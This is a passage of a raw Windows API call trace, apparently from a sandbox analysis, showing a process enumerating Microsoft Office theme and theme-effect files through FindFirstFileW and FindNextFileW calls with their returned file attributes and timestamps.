lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0283.674] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0283.674] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0283.674] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1 [0283.675] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1 [0283.675] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0283.675] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0283.675] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0283.675] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0283.676] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1 [0283.676] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1 [0283.676] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0283.676] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1 [0283.677] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0283.677] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0283.677] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0283.677] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0283.677] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0283.678] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1 [0283.678] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0283.678] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0283.678] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0283.678] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0283.679] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1 [0283.679] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0283.680] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0283.680] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0283.680] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0283.680] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0283.681] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0283.681] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0283.681] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0283.681] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0283.681] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0283.682] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0283.682] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0283.682] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0283.682] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0283.683] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0283.683] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0283.686] GetProcessHeap () returned 0x560000 [0283.686] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0283.691] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1 [0283.691] GetProcessHeap () returned 0x560000 [0283.691] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2beeeb8 [0283.692] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0284.018] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.881] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.eftx", cAlternateFileName="ADJACE~1.EFT")) returned 1 [0284.881] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.eftx", cAlternateFileName="ANGLES~1.EFT")) returned 1 [0284.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.eftx", cAlternateFileName="APEX~1.EFT")) returned 1 [0284.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, 